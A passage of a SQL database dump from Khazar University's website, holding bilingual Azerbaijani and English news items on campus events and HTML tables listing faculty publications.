materialları\r\npaylanıldı.&nbsp;</p>'),(2314,1410,'az','Dövlət Miqrasiya Xidmətində illik görüş baş tutdu','2016-cı il oktyabrın 6-da yerli universitetlərin beynəlxalq şöbələrinin əməkdaşları üçün Azərbaycan Dövlət Miqrasiya xidmətində illik görüş təşkil olundu...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabrın 6-da yerli universitetlərin beynəlxalq şöbələrinin\r\nəməkdaşları üçün Azərbaycan Dövlət Miqrasiya xidmətində illik görüş təşkil\r\nolundu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər Universitetinin Beynəlxalq əlaqələr şöbəsinin assistenti Elxan\r\nQasımov həmin görüşdə iştirak etdi. Görüşdə əcnəbilər və vətəndaşlığı olmayan şəxslər\r\nbarəsində vacib məsələlər müzakirə olundu.&nbsp;</p>'),(2315,1410,'en','Annual Meeting at State Migration Service ','On October 6, 2016, a meeting for the representatives of International Affairs Offices of local universities organized annually by the State Migration Service of Azerbaijan Republic was held...','<p>On October 6, 2016, a\r\nmeeting for the representatives of International Affairs Offices of local\r\nuniversities organized annually by the State Migration Service of Azerbaijan\r\nRepublic was held.</p>\r\n<p>Elkhan Kasimov,\r\nassistant of the International Affairs Office of Khazar University who is in\r\ncharge of migration issues, participated in the meeting. Important topics\r\nconcerning foreigners and stateless persons in Azerbaijan were covered.</p>'),(2316,1411,'en','Lectures ','Lectures ',''),(2317,1411,'az','Mühazirələr','Mühazirələr','<div><br></div><p><a href=\"http://www.khazar.org/files/social/1/Platon%20v%C9%99%20sevgi%20f%C9%99ls%C9%99f%C9%99si.%20X%C9%99z%C9%99r%20universiteti%20f%C9%99ls%C9%99fi-psixoloji%20s%C3%B6hb%C9%99tl%C9%99r%20seminarlar%2C%208.11.%202013%2C%20M%C9%99rm%C9%99r%20salon.%20%E2%80%9CX%C9%99z%C9%99r%20X%C9%99b%C9%99r%E2%80%9D%2C%20iyun%20-2015.docx\">Platon və sevgi fəlsəfəsi. Xəzər universiteti fəlsəfi-psixoloji söhbətlər seminarlar, 8.11. 2013, Mərmər salon. “Xəzər Xəbər”, iyun -2015 </a> <br></p>'),(2319,1412,'en','Lectures ','Lectures ',''),(2321,1413,'az','Mühazirələr','Mühazirələr',''),(2323,1414,'en','Lectures ','Lectures ',''),(2324,1415,'az','Xəzər Universitetinin rektoru beynəlxalq tələbələrlə görüşdü','2016-cı il oktyabrın 11-də Xəzər Universitetinin rektoru Dr. Hassan Niknafs 2016-17-ci tədris ilində bakalavr pilləsi üzrə qəbul olunmuş beynəxlaq tələbələrlə görüşdü...','<p>2016-cı il oktyabrın 11-də Xəzər\r\nUniversitetinin rektoru Dr. Hassan Niknafs 2016-17-ci tədris ilində bakalavr\r\npilləsi üzrə qəbul olunmuş beynəxlaq tələbələrlə görüşdü. Görüşdə Tədris işləri\r\nüzrə prorektor professor Məhəmmməd Nuriyev, Beynəlxalq əlaqələr şöbəsinin\r\ndirektoru Turan Cəfərova və koordinatoru Günay Fərzəliyeva iştirak edirdilər.\r\nBeynəxalq əlaqələr şöbəsinin təşkil etdiyi görüş universitetin “Neftçilər” kampusunda\r\nbaş tutdu. </p>\r\n<p>Tələbələri salamlayan Dr. Hassan Niknafs görüşü tələbələrin tədris planı\r\nilə bağlı mühüm məsələlərin müzakirəsi ilə başladı. Tələbələr də təhsillə bağlı\r\nonları narahat edən məsələləri universitet rəhbərliyi ilə bölüşdülər. Turan Cəfərova\r\nbeynəlxalq tələbələrə yaxın günlərdə onlarla məlumat məzmunlu görüşün keçiriləcəyi\r\nbarədə məlumat verdi. &nbsp;</p>\r\nQeyd edək ki, cari tədris ili üzrə Xəzər\r\nUniversitetinə Əfqanıstan, Kamerun, Qambiya, İran, İraq və Zimbabvedən bakalavr\r\nsəviyyəsi üzrə təhsil almaq üçün tələbələr qəbul olunmuşlar.'),(2325,1416,'az','Xəzər Universitetinin Tədqiqat və İnkişaf Mərkəzi haqqında NMC-nin İllik Hesabatında','Neft Mühəndisləri Cəmiyyətinin Azərbaycan bölməsinin 2015-2016-cı illər üzrə illik hesabatında bütöv bir səhifə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Neft\r\nMühəndisləri Cəmiyyətinin Azərbaycan bölməsinin 2015-2016-cı illər üzrə illik\r\nhesabatında bütöv bir səhifə “NMC-nin Azərbaycan bölməsinin tarixində ən böyük\r\nnailiyyətlərindən olan” kimi qələmə verilən Xəzər Universitetində Tədqiqat və\r\nİnkişaf Mərkəzinə həsr olunmuşdur. Bu mərkəzin yaradılmasında Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlının göstərdiyi kömək vurğulanır.&nbsp;</p>'),(2326,1417,'az','“Xəzər”in tələbələrinin PetroBowl müsabiqəsində uğurları NMC-nin İllik Hesabatında yer aldı','Neft Mühəndisləri Cəmiyyətinin Azərbaycan bölməsinin 2015-2016-cı illər üzrə illik hesabatında Xəzər Universitetinin tələbələrinin beynəlxalq PetroBowl...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Neft\r\nMühəndisləri Cəmiyyətinin Azərbaycan bölməsinin 2015-2016-cı illər üzrə illik\r\nhesabatında Xəzər Universitetinin tələbələrinin beynəlxalq<em> PetroBowl</em> (Neft sahəsi üzrə bilik yarışması) müsabiqəsində uğurlu\r\niştirak etdikləri haqqında məqalə dərc olunmuşdur. 2014-cü ildə Londonda Region\r\nüzrə <em>PetroBowl</em> müsabiqəsində 2-ci yeri\r\ntutan Xəzər Universitetinin 4 tələbədən ibarət komandası 2015-ci ildə Texasda\r\nkeçirilən NMC İllik Texniki Konfrans və Sərgisində, <em>PetroBowl</em> müsabiqəsinin son turunda iştirak etdi. Dünya üzrə\r\nkeçirilən müsabiqənin son turunda Azərbaycan ilk dəfə idi ki, təmsil olunurdu.&nbsp;</p>'),(2327,1418,'az','Xəzər Universitetinin tələbəsinin Beynəlxalq konfransda iştirakı NMC İllik Hesabatında','Neft Mühəndisləri Cəmiyyətinin Azərbaycan bölməsinin 2015-2016-cı illər üzrə illik hesabatında Qətərin paytaxtı Doha şəhərində...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Neft\r\nMühəndisləri Cəmiyyətinin Azərbaycan bölməsinin 2015-2016-cı illər üzrə illik\r\nhesabatında Qətərin paytaxtı Doha şəhərində keçirilən 9-cu Beynəlxalq Neft\r\nTexniki Konfransı haqqında məqalə dərc olunmuşdur. Konfransda dünyanın 42 ölkəsini\r\ntəmsil edən tələbələr iştirak etdilər. Həmin məqalədə Xəzər Universitetinin tələbəsi\r\nFərid İsmayılovun adı çəkilən konfransda iştirak etdiyi qeyd olunur.&nbsp;</p>'),(2328,1418,'en','Article about Student’s Participation in International Conference in SPE Annual Report','In the Annual Report of the Society of Petroleum Engineers’ Azerbaijan Section for the years 2015-2016, an article was published about the 9th International Petroleum...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">In the Annual Report of the Society of Petroleum Engineers’ Azerbaijan\r\nSection for the years 2015-2016, an article was published about the 9<sup>th</sup>\r\nInternational Petroleum Technical Conference (IPTC) in Doha, Qatar in 2015. The\r\narticle notes that Khazar University student Farid Ismayilov was selected to\r\nparticipate in IPTC 2015, which included student participants representing 42\r\ncountries. </p>\r\n<p>&nbsp;</p>'),(2329,1416,'en','Khazar University Research Development Center Highlighted in SPE Annual Report','In the Annual Report of the Society of Petroleum Engineers’ Azerbaijan Section for the years 2015-2016, a full page spread was dedicated to the Research Development Center...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">In the Annual Report of the Society of Petroleum Engineers’ Azerbaijan\r\nSection for the years 2015-2016, a full page spread was dedicated to the\r\nResearch Development Center at Khazar University, which was described as “one\r\nof the biggest milestones in the history of [SPE Azerbaijan].” The article\r\nemphasized the support of Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, in the center’s\r\nestablishment. </p>\r\n<p>&nbsp;</p>'),(2330,1417,'en','Article about Students’ PetroBowl Success in SPE Annual Report','In the Annual Report of the Society of Petroleum Engineers’ Azerbaijan Section for the years 2015-2016...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">In the Annual Report of the Society of Petroleum Engineers’ Azerbaijan\r\nSection for the years 2015-2016, an article was published about the success of\r\nthe Khazar University student team in the international PetroBowl knowledge\r\ncompetition. A team of 4 Khazar University students who had won second place in\r\nthe Regional PetroBowl Qualifications in London went on to participate in the\r\nFinals Competition at the SPE Annual Technical Conference and Exhibition in\r\nTexas in 2015. This was the first time that Azerbaijan was represented in the\r\nfinal round of the competition.&nbsp;</p>'),(2331,1415,'en','President Meets with New Undergraduate International Students ','On October 11, 2016, Dr. Hassan Niknafs, President of Khazar University, met with new international undergraduate students who had been accepted to Khazar University...','<p>On October 11, 2016, Dr.\r\nHassan Niknafs, President of Khazar University, met with new international\r\nundergraduate students who had been accepted to Khazar University in the\r\n2016-2017 academic year. Meeting participants included Prof. Mahammad Nuriyev,\r\nVice President for Academic Affairs; Turan Jafarova, Director of the\r\nInternational Affairs Office; Gunay Farzaliyeva, Coordinator at International\r\nAffairs Office. The meeting was organized by the International Affairs Office\r\nand took place on the university’s Neftchilar campus.</p>\r\n<p>&nbsp;</p>\r\n<p>Dr. Hassan Niknafs\r\nwelcomed the students and opened the meeting by giving important information\r\nregarding students’ academic programs at Khazar University. Students shared\r\ntheir academic concerns with the university administration. Turan Jafarova\r\ninformed the students about the upcoming orientation session which is organized\r\nfor all new international students. </p>\r\n<p>&nbsp;</p>\r\n<p>In the current academic\r\nyear, Khazar University accepted undergraduate students from Afghanistan,\r\nCameroon, Gambia, Iran, Iraq, and Zimbabwe.</p>'),(1699,1056,'en','Founder Speaks in Ganja at International Symposium on University-Industry Relations in Bologna Process','On April 29-May 1, 2016, Azerbaijan Technology University coordinated an international symposium on “University-Industry Relations in the Bologna Process” at the Ramada Hotel in Ganja.','<p><br></p><p>On April 29-May 1, 2016, Azerbaijan Technology University coordinated an international symposium on “University-Industry Relations in the Bologna Process” at the Ramada Hotel in Ganja.</p><p>On April 30 at the plenary session, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered a lecture about the history of the development of university-industry relations, missions of European and American universities and technoparks, and the role of universities, industries and state policy in the success of university-industry relations. He also spoke about the issue of technoparks and university-industry relations in Azerbaijan and the surrounding region, drawing examples from the experience of Khazar University.</p><p>The event was covered by several media agencies. Further information is available at the following links:</p><p><a href=\"http://publika.az/p/134756\" target=\"_blank\">http://publika.az/p/134756</a>;</p><p><a href=\"http://az.trend.az/azerbaijan/society/2528222.html\" target=\"_blank\">http://az.trend.az/azerbaijan/society/2528222.html</a>.</p>'),(1700,1057,'az','ESFİDİP Tempus layihəsi çərçivəsində Lənkəranda təlim-seminarlar keçirildi','2016-ci il aprelin 29-u və 30-da “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı Tempus layihəsi çərçivəsində Lənkəran Dövlət Universitetində təlim-seminarlar keçirildi. ','<p>2016-ci il aprelin 29-u və 30-da “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı Tempus layihəsi çərçivəsində Lənkəran Dövlət Universitetində təlim-seminarlar keçirildi.&nbsp;Təlim-seminarların əsas məqsədi Lənkəran Dövlət Universitetinin inzibati işçi, müəllim və tələbə heyətinə əlillik, onun xüsusiyyəti, modelləri, bu haqda qanunvericilik, inkluziv təhsil və əlilliyi olan tələbələrlə etik davranış və dərs metodları haqqında məlumat vermək idi.</p><p>Təlim seminarlar üç hissədən ibarət idi. Birinci hissədə təlimçi Mələk Kərimova (Humanitar və sosial elmlər fakültəsinin dekan müavini) Lənkəran Dövlət Universitetinin müəllim heyətinə, ikinci hissədə isə təlimçi Rima Məmmədova (layihə rəhbəri və Əlilli olan Tələbələr üçün Mərkəzin koordinatoru) universitetinin inzabati işçilərinə təlim keçdilər. Təlim-seminarların sonunda mövzu ətrafında sual-cavab oldu, iştirakçılar öz fikirlərini və təkliflərini irəli sürdülər.</p><p>Təlim-seminarın üçüncü hissəsi aprelin 30-da davam etdirildi. Təlimçilər Bəybala İbadullayeva (Əlil Təşkilatları İttifaqının vitse-prezidenti), Saraya Səfəralıyeva (Əlil Təşkilatları İttifaqının əməkdaşı) və rima Məmmədova Lənkəran Dövlət Universitetində təhsil alan tələbə heyəti üçün təlimlər keçdilər. Mövzu tələbələr arasında çox maraqla qarşılandı və çoxlu müzakirələr keçirildi. Tələbələr tərəfindən təlimçilərə çoxlu suallar və təkliflər verildi.</p><p>Günün ikinci yarısında təlimçilər və Lənkəran Dövlət Universitetinin layihə üzrə işçi qrupunun üzvləri Ramiz Şaməmmədov, Kamran Kazımov, Aynur Bünyadova, Ülvi Məhərrəmov və Zur Məmmədov Lənkəran Dövlət Universitetinin rektor vəzifəsini icra edən professor Nizami Yusubovla görüşdülər. Professor Nizami Yusubov layihə iştirakçılarını salamladı və son dövrdə universitetdə aparılan işlər haqqında, o cümlədən beynəlxalq əlaqələr sahəsində görülən və görüləcək işlər haqqında geniş məlumat verdi. O, layihənin respublika üçün xüsusi əhəmiyyətini qeyd etməklə yanaşı, Lənkəran Dövlət Universitetində fəaliyyət göstərəcək mərkəzin bütövlükdə cənub bölgəsi üçün görəcəyi işlərin əhəmiyyətini də vurğuladı.</p>'),(1503,940,'az','Rektor Birinci Milli BMT Modeli Konfransında fərqlənmiş tələbələrlə görüşdü','2016-cı il aprelin 8-də Xəzər Universitetinin rektoru Hassan Niknafs Birinci Milli BMT Modeli Konfransında (MilliMUN) fərqlənmiş tələbələr ilə görüşdü. BMT Modeli tələbələrə diplomatiya və əməkdaşlıq dünyasını aşılayan BMT Baş Assambleyası, BMT Təhlükəsizlik Şurası və digər BMT qurumlarının simulyasiyasıdır. BMT Modelində tələbələr təşkilatın gündəliyindəki cari məsələlər üzrə  müzakirələr aparır, problemləri həll etmək üçün beynəlxalq əməkdaşlığın səfərbərliyi naminə qətnamə layihəsi, strategiya planı hazırlayır, tərəfdaşlar və rəqiblərlə danışıqlar aparır, konfliktləri həll edirlər.','<p>2016-cı il aprelin 8-də Xəzər Universitetinin rektoru Hassan Niknafs\r\nBirinci Milli BMT Modeli Konfransında (MilliMUN) fərqlənmiş tələbələr ilə\r\ngörüşdü. BMT Modeli tələbələrə\r\ndiplomatiya və əməkdaşlıq dünyasını aşılayan BMT Baş Assambleyası, BMT Təhlükəsizlik\r\nŞurası və digər BMT qurumlarının simulyasiyasıdır. BMT Modelində tələbələr təşkilatın\r\ngündəliyindəki cari məsələlər üzrə&nbsp;&nbsp;müzakirələr aparır, problemləri həll\r\netmək üçün beynəlxalq əməkdaşlığın səfərbərliyi naminə qətnamə layihəsi,\r\nstrategiya planı hazırlayır, tərəfdaşlar və rəqiblərlə danışıqlar aparır,\r\nkonfliktləri həll edirlər. </p>\r\n<p>Qeyd etmək lazımdır ki, 2015-ci il sentyabrın 21-də Xəzər\r\nUniversitetində gələcəkdəki BMT simulyasiyalarında fəal iştirak etmək məqsədilə\r\n“KhazarMUN Club” tələbə klubu yaradılmışdır. Klubun prezidenti Pərvin Rəhimli&nbsp;klub üzvlərinin Birinci Milli\r\nBMT Modeli Konfransında Xəzər Universitetinin tələbələrinin aktiv iştirakını təmin\r\netmək üçün həmin tarixdən fəaliyyətə başlamışdır.&nbsp; </p>\r\n<p>Gənclər və İdman Nazirliyi və BMT İnkişaf Proqramı “Qlobal siyasi\r\nmüzakirələrdə gənclərin fəal iştirakını dəstəkləmək üçün əsasların yaradılması”\r\nadlı birgə layihə çərçivəsində MUN hərəkatının ölkəmizdə də\r\ninstitutlaşdırılmasını nəzərdə tutur. Bu məqsədlə 2016-cı il fevralın 20-dən 23-dək\r\nBakıda ölkə miqyasında ilk dəfə olaraq, Birinci Milli BMT Modeli Konfransı\r\n(MilliMUN) keçirilmişdir. Azərbaycanın 20-dən çox universitet, akademiya və məktəblərini\r\ntəmsil edən 350 nəfər gənc diplomat qismində iştirak edərək, MilliMUN\r\nkonfransında BMT-nin 5 komitəsinin işini simulyasiya etmişdir.</p>\r\n<p class=\"xmsonormal\" style=\"\" text-align:justify;text-indent:.25in;background:white\"\"=\"\">Sevindirici\r\nhaldır ki, Xəzər Universitetinin 21 tələbəsi MilliMUN simulyasiyasında iştirak\r\netmişdir. Tələbələrimizdən Fəsli Nəbiyev BMT Təhlükəsizlik\r\nŞurasında “Ən yaxşı nümayəndə heyəti” (“<em>Best\r\nDelegation</em>”) və Yannick Aghbor&nbsp;Beynəlxalq Telekommunikasiya Birliyində\r\n“Ən yaxşı mövqe sənədi” (“<em>Best Position\r\nPaper”</em>) nominasiyaları üzrə fərqlənmə sertifikatlna layiq görülmüşlər. </p>\r\n<p class=\"xmsonormal\" style=\"\" text-align:justify;text-indent:.25in;background:white\"\"=\"\">Rektorla görüş\r\nzamanı cari akademik il ərzində bənzər simulyasiyanın Xəzər Universitetinin ev\r\nsahibliyi ilə də keçirilməsi imkanları da müzakirə olundu. “KhazarMUN” adı\r\naltında keçiriləcək konfrans üçün zəruri tədbirlər planının razılaşdırılması qərara\r\nalındı.&nbsp;</p>'),(1514,948,'az','I Milli Tələbə Forumu keçiriləcək','2016-cı il mayın 25 və 26-da Xəzər Universiteti Azərbaycan universitetlətində təhsil alan tələbələrin tədqiqatçılıq bacarığını inkişaf etdirmək məqsədilə, I Milli Tələbə Forumunu təşkil edir, sosial və humanitar sahələr üzrə təhsil alan bakalavr (3-cü, 4-cü kurs) və magisrt tələblələrini bu forumda iştirak etməyə dəvət edir!','<p>2016-cı il mayın 25 və 26-da Xəzər Universiteti Azərbaycan\r\nuniversitetlətində təhsil alan tələbələrin tədqiqatçılıq bacarığını inkişaf\r\netdirmək məqsədilə, I Milli Tələbə Forumunu təşkil edir, sosial və humanitar\r\nsahələr üzrə təhsil alan bakalavr (3-cü, 4-cü kurs) və magisrt tələblələrini bu\r\nforumda iştirak etməyə dəvət edir!</p>\r\n<p>Əlavə məlumat üçün aşağıdakı linkə müraciət etmək olar: &nbsp;</p>\r\n<p><a href=\"http://www.khazar.org/s8107/Birinci-telebe-formu/az\" target=\"_blank\">http://www.khazar.org/s8107/Birinci-telebe-formu/az</a>;</p>\r\n<p><a href=\"http://www.khazar.org/s8107/The-First-National-Forum-of-Students/en\" target=\"_blank\">http://www.khazar.org/…/The-First-National-Forum-of-Stud…/en</a>.</p>\r\n<p>&nbsp;</p>'),(1528,956,'en','Aygun Alaskerova','Aygun Alaskerova','<div><br></div><div style=\"font-family:arial, helvetica, sans-serif\"><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"657\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr></tr><tr><td width=\"159\"><p><strong><br>Title of publication&nbsp;</strong></p></td><td width=\"113\"><p><strong>Publications type/publication activities</strong></p></td><td width=\"105\"><p><strong>All Authors&nbsp;</strong></p></td><td width=\"106\"><p><strong>Publisher &amp; Place of&nbsp; Publication&nbsp;</strong></p></td><td width=\"74\"><p><strong>Year Published&nbsp;</strong></p></td><td width=\"58\"><p><strong>Vol. &amp; Pages&nbsp;</strong></p></td></tr><tr><td width=\"43\"><p>1</p></td><td width=\"159\"><p>Fuzzy Expert systems for dynamical process</p></td><td width=\"113\"><p>Journal articles</p></td><td width=\"105\"><p>Aygun Alasgarova</p></td><td width=\"106\"><p>Workshop NIT in XXI</p><p>Baku, Azerbaijan</p></td><td width=\"74\"><p>2</p></td><td width=\"58\"><br></td></tr><tr><td width=\"43\"><p>2</p></td><td width=\"159\"><p>Fuzzy Expert System of Dynamical Diagnose of technical state of gas-lift equipments</p></td><td width=\"113\"><p>Conference Proceedings</p></td><td width=\"105\"><p>Aygun Alasgarova,</p><p>Salahaddin Yusifov,</p><p>Rafig Ahmedov</p></td><td width=\"106\"><p>University of Siegen, Germany</p></td><td width=\"74\"><p>2000</p></td><td width=\"58\"><br></td></tr><tr><td width=\"43\"><p>3</p></td><td width=\"159\"><p>The prediction of financial credit risk with fuzzy system<strong>&nbsp;</strong></p></td><td width=\"113\"><p>Conference Proceedings</p></td><td width=\"105\"><p>Aygun Alasgarova</p></td><td width=\"106\"><p>10<sup>th</sup>&nbsp;International Conference on Finance and banking journal.</p><p>Silesian University, Karvina, Czech Republic</p></td><td width=\"74\"><p>2005</p></td><td width=\"58\"><br></td></tr><tr><td width=\"43\"><p>4</p></td><td width=\"159\"><p>Expert System For Decision-Making Problem In Economics</p></td><td width=\"113\"><p>Conference Proceedings</p></td><td width=\"105\"><p>Aygun Alasgarova,</p><p>&nbsp;</p><p>Leyla Muradkhanli</p></td><td width=\"106\"><p>International Conference «Knowledge-Dialogue-Solutions» 2007 (FOI ITHEA Institute of Information Theories and Applications)</p><p>Sofia, Bulgaria<strong>&nbsp;</strong></p></td><td width=\"74\"><p>2007</p></td><td width=\"58\"><br></td></tr><tr><td width=\"43\"><p>5</p></td><td width=\"159\"><p>About one approach to approximation of</p><p>Continuous function by three-layered neural network</p></td><td width=\"113\"><p>Conference Proceedings</p></td><td width=\"105\"><p>Aygun Alasgarova, Ramin Rzayev</p></td><td width=\"106\"><p>12<sup>th</sup>&nbsp;International Conference on Finance and banking journal.</p><p>Silesian University, Karvina, Czech Republic</p></td><td width=\"74\"><p>2007</p></td><td width=\"58\"><br></td></tr><tr><td width=\"43\"><p>6</p></td><td width=\"159\"><p>Financial Risk Prediction in the conditions of uncertainty</p></td><td width=\"113\"><p>Ph.D. thesis</p><p><strong>&nbsp;</strong></p></td><td width=\"105\"><p>Aygun Alasgarova</p></td><td width=\"106\"><p>Ph.D. thesis</p><p>Baku,&nbsp; Azerbaijan<strong>&nbsp;</strong></p></td><td width=\"74\"><p>2008</p><div><br></div></td></tr></tbody></table>  <br></div>'),(1593,768,'az','Rafig Qurbanov','Rafig Qurbanov','<div><br></div><div> <div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td><p style=\"background:undefined \">#</p></td><td><p style=\"background:undefined \"><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td><p style=\"background:undefined \"><strong>Publications type/publication activities</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td><p style=\"background:undefined \"><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td><p style=\"background:undefined \"><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td><p style=\"background:undefined \"><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td><p style=\"background:undefined \"><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Изменение температурного режима I горизонта продуктивной толщи месторождения Кюровдаг</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, Э.А.Багбанлы, Т.А. Зейналов</p></td><td><p style=\"background:undefined \">Изв. АН Азерб. ССР, сер. Геол.-геогр. наук</p></td><td><p style=\"background:undefined \">1964</p></td><td><p style=\"background:undefined \">3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">К методике графического определения пластового давления</p></td><td><p style=\"background:undefined \">Journal articles<strong>&nbsp;</strong></p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, С. Д. Нуриев</p></td><td><p style=\"background:undefined \">Азербайджанское Нефтяное Хозяйство, №4</p></td><td><p style=\"background:undefined \">1965</p></td><td><p style=\"background:undefined \">1.5 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">К вопросу установления тектонического нарушения по данным исследования скважин</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, Б.М.Листенгартен</p></td><td><p style=\"background:undefined \">Листок технической информации</p><p style=\"background:undefined \">сер. \"Нефтедобывающая промышленность\" АзИНТИ</p></td><td><p style=\"background:undefined \">1965</p></td><td><p style=\"background:undefined \">6.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Некоторые гидрохимические особенности I горизонта продуктивной толщи месторождения Кюровдаг</p></td><td><p style=\"background:undefined \">Journal article<strong>&nbsp;</strong></p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, Б.М. Молдавский</p></td><td><p style=\"background:undefined \">Азербайджанское Нефтяное Хозяйство, №2</p></td><td><p style=\"background:undefined \">1966</p></td><td><p style=\"background:undefined \">3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">О влиянии некоторых факторов на изменение качества нефти</p></td><td><p style=\"background:undefined \">Proceeding</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, А.Н. Гусейнов</p></td><td><p style=\"background:undefined \">Сборник трудов молодых ученых и аспирантов институтов отделения наук о Земле. Изд. АН Азерб. ССР</p></td><td><p style=\"background:undefined \">1966</p></td><td><p style=\"background:undefined \">11 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">К вопросу эксплуатации скважин при повышенных перепадах давления</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, А.Н. Гусейнов</p></td><td><p style=\"background:undefined \">Азербайджанское Нефтяное Хозяйство, №7</p></td><td><p style=\"background:undefined \">1966</p></td><td><p style=\"background:undefined \">2.5 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Изменение химического состава пластовых вод I горизонта продуктивной толщи месторождения Кюровдаг</p></td><td><p style=\"background:undefined \">Proceeding</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, А.Р. Ахундов&nbsp;</p></td><td><p style=\"background:undefined \">\"Теория технологических процессов бурения и нефтедобычи \"Изд. \"Элм\"&nbsp; АН Азерб. ССР</p></td><td><p style=\"background:undefined \">1970</p></td><td><p style=\"background:undefined \">7 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">К изучению изменения темпов использования запасов при разработке залежей с неньютоновскими нефтями</p></td><td><p style=\"background:undefined \">Proceeding</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, В.А. Алиев</p></td><td><p style=\"background:undefined \">\"Известия Вузов\" , раздел \"Нефть и газ\" №9,</p></td><td><p style=\"background:undefined \">1968</p></td><td><p style=\"background:undefined \">3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">К вопросу нефтеотдачи залежей с ньютоновской&nbsp;&nbsp; неньютоновской нефтей, разрабатываемые водным воздействием</p></td><td><p style=\"background:undefined \">Proceeding</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p style=\"background:undefined \">\"Известия Вузов\" , раздел \"Нефть и газ\", №10</p></td><td><p style=\"background:undefined \">1968</p></td><td><p style=\"background:undefined \">1.5 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Исследование физико-механических свойств нефти подкирмакинской свиты месторождения Балаханы-Сабунчи-Раманы</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, З.И. Мамедов</p></td><td><p style=\"background:undefined \">Азербайджанское Нефтяное Хозяйство, №4</p></td><td><p style=\"background:undefined \">1969</p></td><td><p style=\"background:undefined \">1.5 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Анализ успешности методов воздействия на призабойную зону нефтяных скважин</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p style=\"background:undefined \">\"Известия Вузов\" , раздел \"Нефть и газ\", №5</p></td><td><p style=\"background:undefined \">1969</p></td><td><p style=\"background:undefined \">2.0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">К исследованию коэффициента&nbsp; использования запасов кирмакинской свиты</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p style=\"background:undefined \">Азербайджанское Нефтяное Хозяйство, №6</p></td><td><p style=\"background:undefined \">1970</p></td><td><p style=\"background:undefined \">1.5 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">О темпах обводнения нефтяных пластов</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p style=\"background:undefined \">\"Известия Вузов\" , раздел \"Нефть и газ\", №6</p></td><td><p style=\"background:undefined \">1970</p></td><td><p style=\"background:undefined \">2.5 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p 